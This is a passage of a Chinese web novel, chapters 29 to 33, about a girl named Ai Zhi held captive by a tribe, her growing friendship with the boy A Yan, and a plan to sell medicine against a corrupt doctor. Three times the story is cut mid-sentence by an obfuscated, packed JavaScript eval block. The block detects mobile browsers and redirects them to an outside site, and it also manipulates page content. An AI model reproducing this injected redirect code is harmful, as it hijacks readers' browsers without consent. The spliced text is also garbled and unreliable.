身上幽幽的药草香并不能掩盖几天未换衣服，又都是血迹的铁锈味，即使没有洁癖，爱干净的艾知自感难受。 从前，挥金如土的迟载喜欢把艾知打扮的漂亮精致，小伽后来也为了迎合主人的喜好每天给艾知做一个新造型，是绝对不会让艾知一件衣服重复穿的。 她不好意思让阿言给自己找一件干净衣服，能请他给自己一条干净的毛巾，能擦擦身上的血污，她就很满足了。 阿言的圆眼睛瞪了艾知一眼，然后离开了。 艾知自知是自己逾矩了，再次得罪了阿言，垂下头委屈地不再说话，捏着敷额头的草本条绞来绞去。 大约过了一刻钟，阿言又进来，将一个包裹扔给艾知，另只手还攥着一条崭新且已经浸过热水的毛巾，又丢给艾知。 艾知喜出望外，阿言丢给自己的是一件干净的衣衫，她抱着包裹，感激地望向阿言，很高兴地说了好几声谢谢。 阿言背过身去，不耐烦道：“啰嗦什么，快点换，身上都臭死了。要不是嫌你熏我鼻子，我才懒得管你。还有，这里可没有用人帮你穿衣服。你要是不换，衣服我立刻拿走。” “换换换。”艾知怎么会不换呢，只是她太高兴了，她没想到阿言会给自己带衣服。 “换就别废话，啰里八嗦。”阿言丢下这句话后，飞一般跑出了柴房。 自艾知被关进柴房，这是阿言头一次跟她说这么多话，尽管句句都是嘲讽和不屑，但是艾知仍旧很开心，她知道阿言是善良的，他同他的族人一样，都是刀子嘴豆腐心。说是要等她好了再处置她，实际还是不忍心看她受折磨，要她以命偿命。 艾知抚摸着针脚粗糙但十分洁净的衣衫，低下头，一颗又一颗的泪珠落下。 她的心很酸：“阿音对不起……” 柴房并没有设锁，艾知腿又没受伤，想溜早就能找到机会溜，可见他们并没有真的想关住艾知。 擦净身子，强撑精神的艾知努力换好衣服，想出去跟阿言亲自道谢，结果刚走到门口，就被耀眼的日光刺晕了脑袋，要不是努力撑着门框，艾知否则又会倒下弄脏衣服。 “你怎么出来了！这是你能出来的地方吗？”在不远处的井口打水的阿言看见几欲昏倒，倚在门框边的艾知，飞快地丢下水桶，向艾知奔过来。 他一边斥责，一边搭上艾知的胳膊，将艾知又扶回柴房的草席上。 少年目光移向胳膊肘处有些灰尘的干净衣服，脸色并不是很好看。 艾知也注意到了少年的神情，慌忙随阿言的视线看去，发现自己刚换好的衣服又被自己弄脏了。 “对不起，我是想跟你说谢谢的。我不是故意要弄脏衣服的。” 艾知气馁极了，她好像又搞砸了一件事。 阿言刚想发火，见少女自责的样子，想了想，也不能怪她，柴房原本就是他们族人堆积柴火用的地方，灰尘和污垢本来就多。 不过看着艾知难受自责，他心里竟意外地舒畅，千金大小姐如今也要沦落到祈求他人施舍，动不动就要看人脸色过活的地步，也算是小小的报复了一下。 不过这女人竟然也能忍受他们这儿的穷乡僻壤，没有一丝怨言，也是不可思议。也是，小命都在他们手里了，不得委曲求全，夹缝生存吗？ 艾知不知道阿言内心复杂的想法，她只道阿言又要生气，于是讨好性地抬头看阿言：“我可以洗衣服的，你放心，我一定会把你给我的衣服洗的干干净净。我也保证，再也不会把衣服弄脏了。” “切，就你？命都快没了，还需要靠换别人血而活的废物，指望你的保证，我不如指望阿诺。”阿言不屑一顾，叉腰扬起头颅。 少女的眸色越来越悲凉，阿言不知道这句话犹如一把刀笔直地刺入艾知最痛的心口。 本还想继续贬低艾知，阿言发现艾知的眼眶蓄满了泪花，但是她在极力忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511257|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐，不让泪水掉落。 “你不至于——” “你说的没错，我就是个需要依靠他人而活的废物，寄生虫。可是我也不想这样，我本来也是很健康的，可是自从来到这里，我总是生病，中间还昏迷了一整年。我哥哥是没办法了，才带我来找阿琪洛医生的。” 艾知的声音在颤抖，她也不知道为什么命运要这样捉弄自己，仅仅是因为她不该来到这个世界吗？ “我不知道他们给我输的是人类的血，他们刚开始骗我说是人造血，后来又说是志愿者志愿跟我换血，还说志愿者也能跟我一样恢复健康。要是知道阿音会因我丧命，我就算自己死，我也不会同意的。” 泪水冲破防线，像是流不尽似的，一颗又一颗顺着娇小的下巴滑落，艾知的眼睛很红。 “我对不起阿音，我也对不起你，对不起你的族人，我真的不知道我想活命还要伤害另一个人的生命。” 提起姐姐，阿言心里也不好受。 但是这一次，他并没有生艾知的气，他问：“你告诉我，你哥哥为什么要找阿琪洛给你换血。你们难道不知道阿琪洛是个疯子吗？他为了钱，是可以罔顾人命的。死在他手上的人，不知道有多少！” 艾知摇头，带着浓厚的鼻音：“他不知道换血可以救我的命的，刚开始他只是找阿琪洛医生给我看病开药。我身体真的很不好，我哥哥也是没办法了，才找到阿琪洛的。” “换血要求双方血溶性需要高达90%才可以成功，一方死另一方不可能独活，我不知道阿琪洛给你用了什么灵丹妙药，你居然可以抵抗得了排异反应，活下去。” 艾知莫名有些心虚，直觉告诉自己不能暴露来自过去的事实，眼神闪躲，闭口不谈。 阿言并没有在意艾知的不正常，他现在对艾知口中的哥哥十分好奇。 “现代家族血脉联系得紧密，家族中一个人有什么病，其他人有40%的几率患有同样的身体疾病。你身体这么差，你哥哥难道一点事没有？他不会也换血了吧？” 艾知连忙摆手，她从没听说过迟载身体有哪里不舒服。 “没有没有，我哥哥身体很健康的。只是我身体很差。”她想了一下，又解释道，“我跟我哥哥没有血缘关系的。” “没有血缘关系，他能对你这么好？花那么多钱找阿琪洛？” 阿琪洛为了钱可以毫无底线，没有重金问诊费，他是万不可能给人看病的。阿言不信没有血缘关系的两个人，其中一个会为了另一个这么付出。 “其实……我只是习惯叫他哥哥而已，我跟他是恋人。” 迟载跟她说过，她的身份很特殊，她的存在越少人知道越好，所以她还并不是很习惯把她和迟载的关系公之于众。 在艾知的心里，爱上迟载好像并不是一件难事。 他是她危难时刻从天而降的光，他对她的爱事无巨细，体贴入微，就像植物离不开光照，鱼离不开水，艾知同样也离不开迟载。 尽管是恋人，但艾知对迟载的称呼一直未变，他们第一次见面，迟载就让她称他“小识”。 迟载比自己大了6岁，所以一直“小识哥哥”这么叫着。她听林赛喊过迟载“君载”或是“小载”，也问过迟载，但迟载就解释说他喜欢“小识”这个名字，因为“知”和“识”，听起来像是一对。 30. 第 30 章 “啧，谈恋爱就谈恋爱，叫什么哥哥，恶不恶心啊。”阿言听得直皱眉，他可从来没听过阿妈叫过阿爸“哥哥”。 “喂，我问你，你今年多大？看你这样子应该比我小吧。” 艾知本不想再理睬一点都不礼貌的阿言，但自己身上穿得还是阿言给的衣服，受他照料，拿人家手短，没好气道：“我马上就满20岁了。” 她看了一眼忽然沉默的阿言，故意补充道：“我觉得我不一定比你小。” 还真被艾知说中了，阿言实际上才18，面对着这个比自己还大一点的姑娘，阿言的傲气立刻散掉了五成。 她怎么能比自己还大，阿言很愤怒，他绝对不会让艾知知道自己比她还小。 像是故意给自己找补似的，阿言怼道：“你看上去可一点都不像要成年的样子。蠢头蠢脑的，比八岁小孩还幼稚。” 见阿言气急败坏的样子，艾知立刻猜出阿言应该是比自己小几岁，虽然他在骂她，但艾知一点都不生气。 现在的阿言分明才更像个小孩，还是那种嘴巴欠的青春期易怒小男孩。 她笑笑，故意逗阿言。 “是啊，你最成熟了，对不对？阿言……哥哥？” “你有病啊！我才不是你哥哥！”阿言蹦起来，弹到好几米外，恶狠狠地瞪艾知，“我警告你，再乱说我就把你丢出去喂阿诺。” 艾知才不怕威胁呢，阿诺那么乖，怎么可能会吃她呢？ “哦，原来不是哥哥啊，我说错了，是‘阿言弟弟’才对。” 那双漂亮的眼睛弯成了月牙，眼看着阿言气鼓鼓地从柴房跑掉，艾知有一点点开心，逗逗比自己小的这个小男孩也蛮好玩的。 艾知脖子上的伤结了痂，身体也比之前必须要躺在修养舱中强健许多，再也没有晕眩，双腿无力的症状了。 不过，她的脚腕上多了一个蓝色的圆环。 “我知道你并无恶意，但你毕竟是阿音枉死的间接导致者，我们也有我们的顾虑，虽不限制你的行动，但这个定位锁定仪你必须要戴上。” 艾知被押到长老的议事帐子，抬头就看见匣子里透着幽幽蓝光的圆环。 “好，我戴。”艾知没有犹豫，在众人面前拿了圆环就往脚腕上扣，干脆利落地好似不是他们看管的犯人。 “她到底想耍什么花招。”龙溪冷眼旁观，依旧看艾知很不爽。 要不是长老暗中派人守着这个丫头片子，他早一刀了结了这丫头片子的性命。 艾知戴完定位仪，先向长老鞠了一躬，接着又朝着古善乌和阿言以及阿言的阿妈斯琴鞠了一躬：“谢谢你们不计前嫌愿意救我，给我治疗。我自知犯下了无法弥补的过错，我会留在这里赎罪。” “你肯定有同伙吧。你们连同阿琪洛一块杀了我们的人，你休想就凭你一个人赎罪。”龙溪冲到艾知前面，用力攥住她的手腕，攥得艾知生疼。 长老皱了皱眉，拐杖往地下一拄，几个壮年男子和阿言立刻过去将龙溪与艾知分开，阿言则挡在艾知和龙溪中间。 “长老！你怎么能包庇这个丫头片子！她一定有同伙，她现在这样说只是为了包庇她背后的人。”龙溪急得要死，觉得长老清明一世，怎么会在这个节骨眼上犯糊涂。 “龙溪你先退下，事情该怎么处置，我自有定夺。” 龙溪还想说什么，但看见长老严肃的脸，只好憋了回去，一个人气冲冲地出了议事帐子。一时间，议事帐子鸦雀无声，所有人的目光全部聚焦到长老和艾知身上。 艾知深吸一口气，开口道：“是的，我并不是一个人来找阿琪洛的，我哥哥和我一起来的，但是他未必知情换血的真相。我哥哥是一个很好很善良的人，他不可能在明知会伤人性命的情况下，还要执意为我换血。所以他一定也被阿琪洛瞒着。” 她想了想，又说：“我也希望你们能联系上他，这是我们一起做错的事情，我和我哥哥一定会共同承担。” 这时，另一个反对的声音从人群中传来—— “你们不要被这个丫头片子迷惑了！说不定这是阿琪洛的阴谋。她嘴上说得好听，实际背地里肯定和阿琪洛联合了，让这丫头先让我们放下戒备心，然后跟她里应外合，同她那什么哥哥一块商量着如何掠夺我们的资源呢！” 此言一出，众人开始议论纷纷。连阿言也用质疑的眼光看向自己。 面对众人质疑和声讨的眼光，鲜少与外人接触的艾知的心开始发酸，又夹杂了一丝胆怯。 她的眼角已沁出了泪花，但艾知使劲憋着努力不哭出来。 “一人做事一人当，我做错了就是做错了，我不会抵赖，我哥哥也不会。你们让我当牛做马，我也愿意。阿琪洛是什么样的人我不了解，但我哥哥是希望我身体好点才认识的阿琪洛，他并没有想着要拿你们什么东西。他是第……他不求别的，他只求我活着而已。” “我相信她。” 从进了帐子就一直沉默着的斯琴忽然开了口，她漂亮的眼角已经有了纹路，但眼神一如既往地温柔和坚定。 “她刚来的时候身上穿的衣裳是极昂贵的高级布料做的，没有一点针线缝合的痕迹。依阿琪洛那个人的性子，他也未必肯花这些钱给她做衣服。显然她与她哥哥并不是资源稀缺者，她应该没有说谎。” 艾知感激地看向斯琴，忍了半天的泪在这一刻蹦出眼眶，她没有想到阿音的阿妈居然会为了她这个伤了她女儿性命的人说话。 一时间，心酸，悲楚和愧疚，歉意全部涌上心头，眼泪跟断了线的珠子似的，噼里啪啦砸向地面。 斯琴见艾知哭了，慌忙避开眼神不再看她。 斯琴说：“长老，我女儿因为她而死，我的确恨她，但我们族人并非是阿琪洛那种草菅人命的恶人，如果真的因为愤怒要惩治一个无辜的人，我们与阿琪洛那个疯子有什么区别。” …… 议会很快结束，帐内只剩下长老，艾知和阿言一家三口。 “谢谢你们。我……” 艾知不知道该说什么，这些天她从阿言和其他人口中已得知救治她的阿琪洛和她所在的部族是仇敌关系。 阿琪洛原是阿言部族的人，但后来偷拿族内秘传的医谱从部族出逃，等族人再听到他的消息时，他已经是臭名远扬的邪医阿琪洛了。 这些年阿琪洛一直为富人和权贵看病，从他们那里拿到丰厚的奖赏，带着钱财在庞陇城建造了他的医学实验基地，做一些违反禁令的医学实验。 因为他上头有各区的权贵保着，所以第三区的医药署也拿他没办法，只好睁一只眼闭一只眼。 “我身上有一点东西，你们可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿诺你好啊，我叫艾知。我以后要努力干活啦，如果我累了你就过来让我摸摸你，好不好？” 阿言真没见过这么不见外的人质，阿诺明明是他的狗，怎么感情好的跟她养的似的呢？ 脸皮可真厚。 阿言不服气，将阿诺从艾知怀里拽出去，拿手指头敲阿诺的头：“喂！白眼狼！我可是你主人！你跟谁俩好呢！” 阿诺委委屈屈哼唧半天，趁机又躲到艾知身后。 艾知忙护着它：“你别凶它，它只是想跟我玩而已。” “你得意什么，要不是你身上有我姐姐的血，阿诺能这么亲近你吗？”阿言气不打一出来，不管不顾地发泄心里的不平。 话说出口，两人同时都沉默了，阿音的死始终是艾知与阿言他们无法横亘的沟壑。 艾知低下头，像做错事的孩子：“对不起，我不该自以为是，我——” “要是对不起有用的话，我姐姐也能活过来了。” 阿言径直打断艾知，吹了一声口哨，不耐烦地先走一步。 阿诺则闻声咬着艾知的衣角带艾知跟了上去。 两人离开后，长老拄着拐棍慢慢悠悠从帐子中走出来，见少男少女离开的身影，又回首望了眼桌上艾知留下的物件，他长叹了一口气…… 31. 第 31 章 “废物！好好的人怎么会突然消失！” 门刚开启，阿琪洛右脚还没踏进去，一个圆溜溜的水杯砸向他脚边。他弯腰捡起水杯，慢条斯理地走了进去。 迟载正在发火，脚边跪下的全是他派出去搜寻艾知的机器侦察兵。 阿琪洛看向柱在门口瑟瑟发抖的机器用人小伽，说道：“小伽，地面有积水，你去给清理了，不然容易脚滑。” 才从禁闭室放出来的小伽，赶忙应下，一点声都不敢吭地蹲在地上清理刚刚弄脏的地面。 “恭喜迟公子，继任第二区首辅大臣指日可待。”阿琪洛笑笑，将水杯放在迟载面前的桌子上，“第二区首辅大臣竞选在即，听说迟公子的选民票数遥遥领先。” 迟载冷眼瞧了阿琪洛一眼，没说话。 迟恩这些年一直在为独子迟载铺路，他当上第二区首辅大臣是早晚的事。 这次大选只是试试水，竞选到最后肯定是不会成功的，只是先观察一下他的民意如何，是否能得到第二区权贵们的支持。 阿琪洛对于迟载的视若无睹并不在意，他从口袋中掏出一个精美的小匣子，撑开展向迟载：“公子觉得这条手链熟悉吗？” 银丝编织成的手环，上面绣有艾知的名字。是迟载庆祝艾知苏醒，哄她开心送她的一件礼物。 迟载的瞳孔猛地缩张，声音有了起伏：“艾知有消息了？” “所以更要恭喜您呢。这串手链前两天流通到了庞陇城的物资市场，我的一个学生瞧见了，便买了下来带回来。现在倒卖这串手链的商贩被扣下了，仔细盘问就能有艾知小姐的具体下落了。” “我瞧着这链子完好无损，没有任何脏污痕迹，所以我敢断言艾知小姐现在只是被关起来了，但是他们并没有伤害她——” “带我去见那个商贩。” 迟载未等阿琪洛说完，攥着那根链子，起身离开了房间，阿琪洛紧跟其后。 偷听二人交谈的小伽望向再次关闭的门，心中的石头终于放下。这些天他呆在禁闭室，除了接受他失职弄丢艾知的惩罚，其余时间就是在默默祈祷艾知千万不要有事。 换血的身体排异反应也不知道她没有修养舱，能不能撑得过。 艾知小姐吉人自有天相，拜托这次找回她后，让她的人生再顺畅一些吧。 艾知换到新住处后的第二日就跟着阿言上山去了。 贝器时代自然植被覆盖面大量减少，其中第三区地处温热湿润地带，是五区中植被覆盖面最广的区。 因多山多河流，一些珍惜药材和植物都蕴藏在大山中。阿言的族人每日都要派人区山中寻找药材，然后靠着药材兑换钱财，为部族补充物资。 艾知背着跟自己半个身子那么大的竹筐，亦步亦趋地跟紧阿言，生怕一个不小心，在这茫茫深山中迷路。 结果一个没踩稳，艾知脚踩上一块有青苔的石块，直挺挺地就往阿言的后背撞去。 “哎呀！你干嘛啊！”阿言怒气冲冲，转过身来瞪艾知。 “对不起，这地面太滑了，我不是故意的。” 艾知边道歉边迈着小步子跨到阿言身边，跟他并排：“我跟你并排走好了，这样就不会摔倒碰到你了。” “切，走路都不会走，真是没用。” 艾知全当没听见阿言的讽刺，她想她的确不太会走路，半年前她还昏迷着呢，几个月前她还在练习走路呢。阿言不知道这些事，她姑且不跟他计较。 艾知走了一会，走累了，抬头环顾四周，问道：“我们今天上山找什么啊？” “灵芝。” “找完了然后呢？” “拿去卖掉。” “哦。”艾知点点头，这跟她以前的生活一样嘛。不过是自家种菜，然后拿菜市场上去卖。 艾知记得她小的时候家附近有个灵芝培养基地，医用价值和山里自然生长的灵芝没差。所以很多人都会直接去灵芝培养基地购买灵芝，而不是去市面上淘或者自己去山里挖。 “现在的灵芝也很值钱吗？” 真是十指不沾阳春水的大小姐啊，灵芝在市面上多值钱居然一点都不了解。他随口就道：“反正比你值钱。” 不能干重活，身体娇嫩的跟花似的，打不得骂不得的，还要给她疗伤多她一张嘴吃饭，能换钱的灵芝比什么用没有的艾知宝贵多了。 艾知点点头，很赞同阿言的说法：“那看来是很宝贵了。” 少女头一歪，想到了小时候常进去溜达的灵芝培养基地，她来了主意，“我们找到灵芝后给栽培起来吧，这样以后就会有更多的灵芝，不用到深山里面慢慢寻了。” 大规模种植灵芝的话，就省的浪费人力物力去找了，不仅方便，来钱还快。 艾知刚说完，阿言就拿一种看异类一样的眼神看艾知，他不解道：“为什么要栽培？直接去山里找不就行了？” 艾知耐心解释道：“去山里找的确比较简单，但是如果我们把灵芝上的孢子收集起来进行人工种植，这样就能由一棵灵芝身上收获很多棵灵芝了。大家也不用辛辛苦苦再跑进大山里找灵芝了。” “还有哇，我看大家都是拿药材或者其他的东西去兑换生活必需品，往往是大量的药材兑换成极少数的物品。大家都懂医，为什么不能将药材制成药卖出去呢？” 阿言听到艾知这样说，愣了半晌，像是突然反应过来似的，气呼呼地说道：“你真多事！你干好自己的活就行了，干嘛管那么多！” 艾知被阿言一凶，委屈的要命。 心想自己明明是为了他们好，还要被说，气不过，直接跟阿言怼起来：“我是看大家每天去山里采药材很辛苦，想着帮忙分担一点才说的。你不识好人心，反倒还怪我多事。” “你懂什么？第三区的药品交易市场被阿琪洛垄断了，医药署都得从他那里拿药。你让我们怎么办？” 艾知平稳了心情，问道：“第三区有明文规定不可以私下授药买药吗？” “没有。”阿言一提到阿琪洛就烦躁。 “别以为你的那个阿琪洛医生是个什么好玩意。他为了钱什么都可以做得出来。他背靠权贵，掌控了珍稀药材资源，成为药品的发货源。权贵逼着百姓去他那里拿药，他再抽分成给权贵，整个第三区都是他们的天下。逼得第三区的其他医生只能看病，要买药只能去阿琪洛那里。” 艾知跟阿琪洛接触不多，但是仅有的几次见面，阿琪洛给她的印象都很好，她实在无法将一个贪婪成性，利欲熏心的人同文雅的阿琪洛联想起来。 但是事实摆在面前，她不得不信。不过阿琪洛这种唯利是图的性子，很难保证他不在普通人的用药上缺斤少两。 “如果没有任何一条法律禁止私下兜售药品，那我们就做呗。价格比阿琪洛便宜，用料比阿琪洛好，慢慢 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艾知揪了一根拿在手里玩，脸上没什么表情：“我没有爸爸妈妈，这些是我奶奶教我的。” “没有？怎么会呢？你又不是石头里蹦出来的。” 艾知又揪了几根，几根草在手里折来折去：“我是我奶奶捡来的小孩，没有爸妈很正常。” 她对父母的记忆只停留在五岁那年，她模糊的记忆里爸妈也是个模糊的影子，她只记得自己当时哭得很伤心。 当时小小的她一边哭一边往前走，躲在一棵大树下看过了黑夜和白天，她也不知道自己走了多久哭了多久，迷迷糊糊睡着，等再睁眼时身上盖着暖暖的被子，一个头发有些白的奶奶坐在床头缝鞋垫。 那一天，是3月20日，是艾知有奶奶，有新家的第一天。 自知自己说错话的阿言，脸涨得通红，结结巴巴地说：“对、对不起，我不知道你过去是这样的。” “没关系啦，我还是很幸运的，我遇到了我奶奶。” 艾知上学的时候，每每看到别的同学的爸爸妈妈都站在校门口接自己的孩子放学，她心里就忍不住发酸，会想如果自己要是有爸爸妈妈该有多好，但是一回家看见桌上摆着奶奶给自己做的喜欢吃的菜，她又觉得奶奶才是自己的亲人。 “那你奶奶一定很有钱。”不知道阿言从哪儿得来的结论，斩钉截铁道。 手里的狗尾巴草快要编成一个草环了，但有根不小心断了，艾知又拆了，重新摘了一根加进去。 “没有，我跟奶奶的日子过得很贫苦。” 艾知觉得有些事情得一下子解释清楚，不然没完没了。 “奶奶去世后，我遇见了我哥哥。他把我接去了他家，再到后来我身体不好，他带我来看病，现在我又遇见了你们。” 阿言万万没想到看上去脆弱不堪的艾知实际上并不是千金大小姐，而是贫民灰姑娘。 不过她还没到20岁就经历了这么多，的确有些可怜，阿言在脑子里搜刮了半天安慰艾知的话，憋了好久才憋出一句：“你还怪幸运的，遇到的每一个人都还不错。” 当然阿言说的也自然包括没取艾知性命，还供她吃穿和居住的他们白滕部族。 “是啊，我很幸运。奶奶，我哥哥，还有你们，都是很善良的人。” 32. 第 32 章 艾知终于折好了狗尾巴草草环，阿言以为她编好要送给他，结果艾知只是轻轻放进了自己的背篓里。 “切，小气鬼。”阿言不高兴了，没管艾知，自顾自地往前走。 又怎么了？莫名其妙的。 艾知不懂为什么阿言的变脸变得如此之快。为防止迷路，她还是赶紧跟了上去。 不过不用跟，阿言很快在前面停住了，艾知快步跑上前，发现阿言正盯着一块草地出神，他的腰间隐隐地透着一点金色的光。 “你怎么啦？” 阿言取下腰间挂着的一个用布料简单缝制的小荷包，从里面倒出一块透着金光的黑色小石块。 腰间的光就来自这块小石头。 艾知发现随着动作往那块草地的靠近，那块小石头的金光越强烈，甚至到刺眼的程度。 “这是核曜石的碎石，也叫流曜石，我们做探测矿石用，如果流曜石遇到比它体积大许多倍的核曜石，就会发出金光。这么强的金光，我是头一次见，说明这一块有着比它大无数倍的核曜石。” 阿言试着把流曜石放在草地上，哪晓得流曜石的光更加强烈，一闪一闪的，十分耀眼。 “核曜石有什么用吗？” “用处大了，你们第二区富就是因为盛产矿石，其中核曜石最多，核曜石藏着核心燃力，加工处理后能供能，舰船，工厂，发电也都离不开它。” 阿言的声音因为激动而略微颤抖：“看流曜石的闪光程度，我敢打赌这地下一定有核曜石的石矿。” 艾知听了也跟着高兴：“那可以通知长老派人来开采了，这样你们就有钱，不用每天拿药材换物资了。” 艾知的一番话像是一记警钟，敲醒了阿言，他从巨大的惊喜中逼迫自己冷静下来：“不能开采。” “为什么？” 唾手可及的财富为什么要放弃呢？明明开采了就可以让族人过上比现在好一百倍的生活。 “一旦开采，这座山就毁了，山上的草药也会遭到破坏，很多人会被迫买高昂的有机分子合成药，但更多人没办法看病吃药。” “就当我们不知道这里有核曜石吧，反正整个部族只有我身上有流曜石。第三区有专门开采矿石的地方，不缺我们这一个。” 阿言将流曜石放回荷包内，又嫌光太亮，将荷包塞进自己的衣服内层中。 “大山和钱相比，我更想要大山。” 林间一阵风吹过，吹在脸上凉凉的，夹带着一股绿叶的清香，艾知眯眼吸了一大口清新的空气，忽然就理解了阿言的担忧。 “我警告你，不许把今天的事情说出去，你要是敢多说半个字，我喂你吃毒药。”阿言立刻转过来，吓唬艾知装凶道。 “哎呀，我好害怕呀，你这么凶，我肯定不敢说出去的。”艾知挤眉弄眼，捂着胸口，故意装出一副矫揉造作的样子来。 “你烦不烦啊！做作的要死。”说话又凶又臭，但是上扬的嘴角掩盖不住阿言的真实想法，他勾起艾知因为太累放在一边的背篓，扛在自己背上，大步往部族聚居的地方走去。 过了一会见艾知还没跟上来，他转过身立在那儿等艾知，嘴巴仍不停歇：“你快点啊！再不跟上，我就把你丢下了。” 回了部族，阿言才知道艾知要把那顶狗尾巴草环送给谁。 瞧着阿诺头戴草环，吐舌头又摇尾巴没出息的样，阿言心里有点不平衡，心想这么多年狗粮都白喂了。 艾知跟着阿诺回了住处，阿言则去找了长老。 他将今日和艾知说的一番话原封不动复述给了长老和阿爸，还有部族里其他几位德高望重的长辈们。 长老捋着胡子，半晌没有说话。 倒是阿爸先开口说话：“这些真是那女娃提议的？” 阿言点头：“我不敢对长老和您们说谎。我觉得艾知说的不是没有道理，如果对部族真是有益的话，我们其实可以一试。” “万一是那丫头跟阿琪洛合伙骗我们的怎么办？” 龙溪依旧不信艾知，这些天他一直暗中观察艾知，虽没发现她有跟外界联系，但防人之心不可无，她毕竟害死了阿音。 长老看向龙溪，轻微颔首道：“龙溪说的有道理。” 阿言没反应过来：“您……您不同意艾知的建议？” “正如龙溪所言，她毕竟是外人，一个外人为什么要处心积虑帮助一个差点要杀了她的部族呢？” 阿言急了，丝毫没有注意到自己说话没有顾忌场合：“艾知她不是这样的人！她只是希望我们部族生活条件好起来！” “阿言！”古善乌制止了阿言继续说下去，“长老和我们自会定夺，现在还轮不到你替我们做决定。” “阿言，我明白你一心为部族着想。可你也要明白一点，轻易相信一个来路不明的女子，并不是一件好事。” 帐子的帘子被拉起，艾知停下逗弄阿诺，回首望去，见是阿言，兴冲冲跑过去：“阿言！阿诺会握手，能听得懂我说的话。” 阿言一字不发，唤了一声阿诺，头也不回地掀起门帘就往外走。 艾知察觉到阿言情绪不对，赶忙追过去，问：“阿言你怎么了？长老他们是不是说你了？” “喂，我问你，你是不是骗子？” “啊？”艾知懵懵懂懂，这哪儿跟哪儿啊。她怎么又成骗子了？ “你身上没有装监听器还有定位仪什么的吧？”阿言右手握住艾知的手腕，攥得很紧，他盯着艾知黑色的瞳孔，看到了自己十分沮丧的那张脸。 “你老实告诉我，你不是阿琪洛派来的奸细对不对？你并没有骗我，也没有想害大家，对不对？” 其实艾知在跟阿诺玩的时候，她就猜到阿言此去并不会很顺利，白滕部族对她有戒备心是再正常不过的。她怎么说也是阿琪洛那边过来的，虽然是被绑过来的，在白滕部族的眼里她也极有可能跟阿琪洛是一伙的。 即使他们信她并非故意伤害阿音，但涉及整个部族的发展，他们不可能仅凭阿言的只言片语就能真的轻松听了她的劝。 阿诺以为两人在闹着玩，因为阿言平常对艾知说话声音就很大，所以两人的对峙并没有引起阿诺的警觉。 左手手腕发痛，艾知忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568702|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住“嘶”了一声，她叹了口气，晃了晃脚上的蓝色定位仪：“我脚腕上挂的不就是一个嘛。” 阿言要被气笑了，不正面回答他，反倒跟他诉苦似的说她其实被他们部族的人时刻监视着。 “我说你这人真的……”阿言简直不知道该说什么好，“我是真搞不懂你是真蠢还是故意跟我装傻。你不知道我在帮你吗？” “我知道啊，我当然知道你相信我。但我也有自知之明，长老还有大家肯定是有顾虑的。换做是我，有个人伤害了我最亲的人，然后过来跟我说可以带我过好日子，我也不会信的。” 艾知抬眸，坚定地说道：“阿音的事情是我对不起你们，这份过错我会承担，但是我没有坏心，我是真心想让大家日子好起来。” 夕阳的光穿过艾知，又照射进帐篷包房。 纤细浓密的睫毛在光中轻颤，粉白的肌肤在夕阳的抚摸下透出光泽，艾知的发丝染了橘黄，她高昂起头颅，圣洁又高傲，宛若神明的少女。 她说：“我同你们一样，为恃强凌弱肆意敛财者不耻。我嫉恶，也恶佞，可怜弱小者在强权下低头，痛恨权高者践踏他人血汗。阿琪洛救助我，对我的确有恩，但我并非善恶不分，我有我的判断。” 阿言小的时候追赶过光，这一天，光真正在他心上留下了印记。 “你真这么想的就好了。”阿言松开艾知，支支吾吾道，“对……对不起啊，我刚刚态度不好。” “你是在跟我道歉吗？”艾知眼睛一眨一眨的。 眼前这个处在青春期，随时都能暴跳如雷的男孩子能给自己道歉真的是天下奇事。如果她没记错的话，这是她到这里，阿言第一次给她道歉。 艾知接触的年轻男子不多，除去近新时代的初高中同班同学，在贝器时代遇到的就只有迟载、林赛和阿言。 迟载话不多，对艾知向来是有求必应，林赛只见过几次面，但没说几句话，性格看上去也比较好相处。 只有阿言……跟自己之前的初高中同学一样幼稚。 余光瞥见艾知笑，阿言更加不好意思了，心里没来由地烦躁：“你烦不烦？干嘛老是盯着我笑，真不礼貌。” “我对你一直都很有礼貌的，我会对你说谢谢，我也会请你先走。” 艾知努努嘴，示意阿言看两人脚底踩的门框线。 “切，这有什么。” 阿言把脚收回去，现在他跟艾知并齐了，谁都没有先跨出门槛那一步。 “你对我说话不客气，还总凶我，但我不生你的气。我知道你没有恶意，就像你知道我对白滕部族并没有坏心一样，只是你喜欢用其他的话来掩盖真实的内心，而我会直接表明我的想法。” 阿言没想到艾知会这么直白，他头一次因少女不加掩饰的直给而感到耳朵发烫。 “……我……我……对不起，不该说那些伤人的话的。”阿言羞愧不已。 “没事儿，我原谅你了。”艾知率先跨出门槛，她站在暮色中，身后的霞光格外绚烂。 她仰头看向天际的云彩，喃喃道：“明天一定是个大晴天。” 33. 第 33 章 艾知和阿言没想到第二日，长老会叫他们去议事帐子说起此事。 “我们会在小范围试验一圈，如果真有人找我们买药，我们再全部施行。” 